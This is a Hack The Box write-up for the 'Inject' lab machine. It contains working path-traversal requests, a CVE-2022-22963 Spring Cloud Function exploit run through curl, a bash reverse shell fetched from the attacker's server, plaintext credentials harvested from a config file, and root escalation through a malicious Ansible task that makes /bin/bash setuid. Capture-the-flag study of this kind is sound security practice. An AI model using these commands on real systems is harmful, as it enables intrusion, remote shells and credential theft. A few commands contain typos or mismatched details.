HTB Inject Write-Up

Pawned: 15/03/23
Tags: LFI, Path Traversal, Spring Framework Vulnerability, Bash Reverse Shell, Malicious Automated Task

Enumeration
First, as always, we use an nmap version and script scan to start off the enumeration.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nmap -sV -sC 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 14:41 AEDT
Nmap scan report for 10.10.11.204
Host is up (0.067s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

On this machine, the default HTTP port, 80, isn't open. However, we see that 8080 is open. This is a common alternative port for HTTP traffic. Therefore, we can try visiting the site by explicitly overriding the default port using this URL: http://10.10.11.204:8080.

On the site, we see log-in and sign-up links, but they don't work. The only thing we can do is upload images. This seems like a perfect place to upload a reverse shell. However, after trying many different techniques, like the ones mentioned in this blog post, it would seem that this is a rabbit hole.



Instead, if we look at the URL to view the image, it appears to be vulnerable to LFI and path traversal. So let's try it by entering this URL: http://10.10.11.204:8080/show_image?img=nonexistent.file. Doing so gives us a promising error of 500. Next, we'll try to get an actual file, namely, the "passwd" file: http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd.
This time, instead of a 500 error, we get the same "cannot be displayed error" as before.
To look inside the file, we could view source. (For some reason, while this can be done in Chromium browsers, Firefox doesn't have this feature.) However, an even better way is to use curl:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
SNIP
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

As we can see, curl allows us to view "passwd". Inside, we see two users of note: "frank" and "phil". This isn't particularly helpful to us at the moment, so we'll have to keep looking around, using curl like cat.
Incredibly, using curl on directories also works like ls:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../
java
resources
uploads


Initial Foothold
Armed with these tools, we can snoop around the machine.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../
java
resources
uploads
^C
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../../
main
test
^C
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
^C

We find an interesting file called "pom.xml", inside which we see this:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-parent</artifactId>
                <version>2.6.5</version>
                <relativePath/> <!-- lookup parent from repository -->
        </parent>
SNIP

This implies that the server uses the Spring Framework.
After a quick Google search, we find out that this framework is vulnerable to CVE-2022-22963. Let's first test out this exploit:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/testing1212")' --data-raw 'data' -v

Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/testing1212")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 02:33:42 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T02:33:42.301+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../tmp
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
SNIP
systemd-private-f6cac95a43d44327b084090e47eb8144-ModemManager.service-zPSFHg
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-logind.service-aXMxrj
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-resolved.service-KNqHxi
systemd-private-f6cac95a43d44327b084090e47eb8144-systemd-timesyncd.service-nYWmzi
systemd-private-f6cac95a43d44327b084090e47eb8144-upower.service-XJ3k6f
tapoi
testing1212
tomcat.8080.2018674911198131871
tomcat.8080.3177017922472356463
tomcat-docbase.8080.13737629690498541010
vmware-root_738-2999591909

As we can see, the exploit successfully creates a file in the "tmp" directory. Note that there are a lot of extraneous files that other HTB users have left there. I would recommend not opening any of them.
Anyways, now that we know that the exploit works, we can create a reverse shell payload. However, since this exploit executes commands in the form of a string, I found it aquite difficult to create reverse shell using echo. This was mainly because of the use of delimiters and quotation marks.
Instead, we can use curl to grab a payload that we have premade on our attacking machine. To do so, we need to first make a payload. Many can be found on PayloadsAllTheThings' reverse shell cheatsheet. I used this one:

bash -c 'bash -i >& /dev/tcp/[RHOST]/[RPOST] 0>&1'  

We need to change [RHOST] and [RPORT] to our attacking machine's IP and our chosen listening port, respectively. Let's go with [RPORT] = 8443.
After this payload into a file called, say, "revshell.sh", we'll start a local web server on our attacking machine:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now on another terminal, we can transfer the reverse shell onto the target machine and then check that this was successful:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wcurl http://10.10.14.4:8000/revshell.sh -o /tmp/rev")' --data-raw 'data' -v

Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.2:8080/revshell.sh -o /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 07:41:03 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T07:41:03.514+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl http://10.10.11.204:8080/show_image?img=../../../../../../tmp/rev
bash -c 'bash -i >& /dev/tcp/10.10.14.2/8443 0>&1'

Next, we'll start an nc listener on our chosen port:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nc -lvnp 8443
listening on [any] 8443 ...

And then finally we can execute the payload:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data' -v

Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.87.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 19 Mar 2023 07:42:42 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-19T07:42:42.756+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Back on our nc listener, we see that we have gotten a reverse shell as "frank". However, we need to have the permissions of "phil" to get the user flag.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.204] 56702
bash: cannot set terminal process group (20006): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
bash-5.0$ cat /home/phil/user.txt
cat /home/phil/user.txt
cat: /home/phil/user.txt: Permission denied

Since we don't know the password for "frank", we don't have access to sudo. What we can do it look inside the hidden directories in their home directory to see what we can find:

bash-5.0$ cd /home/frank
cd /home/frank

bash-5.0$ ls
ls

bash-5.0$ ls -al
ls -al
total 32
drwxr-xr-x 6 frank frank 4096 Mar 19 07:43 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 frank frank 4096 Mar 19 07:43 .ansible
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile

bash-5.0$ cd .m2
cd .m2

bash-5.0$ ls
ls
settings.xml

bash-5.0$ cd settings.xml
cd settings.xml
bash: cd: settings.xml: Not a directory
bash-5.0$ cat settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>

<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>

Inside "settings.xml" which was inside ".m2", we see credentials:
Username: phil, Password: DocPhillovestoInject123.
These aren't ssh but sudo ones, so we'll elevate privileges to "phil" and then grab the user flag. Note that the flags get randomized periodically.

bash-5.0$ su phil
su phil
Password: DocPhillovestoInject123

python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.0$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
bash-5.0$ cat /home/phil/user.txt
cat /home/phil/user.txt
ac79931e201d21220b3a60dc3355896a

Privilege Escalation
Looking around the machine, we find a file called "playbook_1.yml" inside "/opt/automation/tasks":

bash-5.0$ cat /opt/automation/tasks/dawda.yml
cat /opt/automation/tasks/dawda.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
      ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

It would seem like the files inside the "opt/automation/tasks" directory get automatically executed. So inside this directory, we'll create a malicious task:

bash-5.0$ echo "- hosts: localhost
tasks:
  - name: Priv esc
   ansible.builtin.shell: |
     chmod +s /bin/bash
   become: true
" > pe.yml
SNIP

The chmod +s /bin/bash command makes the directory "/bin/bash" executable.
We'll wait a few minutes for the "pe.yml" to get run, then we'll execute "/bin/bash" with nest directories using the -p flag:

bash-5.0$ bash -p
bash -p
bash-5.0# id
id
uid=1001(phil) gid=1001(phil) euid=0(root) egid=0(root) groups=0(root), 50(staff), 1001(phil)

Now that we have root access, we can obtain the root flag located in "/root/root.txt":

bash-5.0# cat /root/root.txt
cat /root/root.txt
70414abed93dff70eaf1c4428b958ec2

We have now finished hacking the box, but we must remember to clean up after ourselves (it seems "pe.yml" was automatically deleted for us):

bash-5.0# rm /opt/automation/tasks/pe.yml
rm /opt/automation/tasks/pe.yml
rm: cannot remove '/opt/automation/tasks/pe.yml': No such file or directory
bash-5.0# rm /tmp/testing1212
rm /tmp/testing1212
bash-5.0# rm /tmp/rev
rm /tmp/rev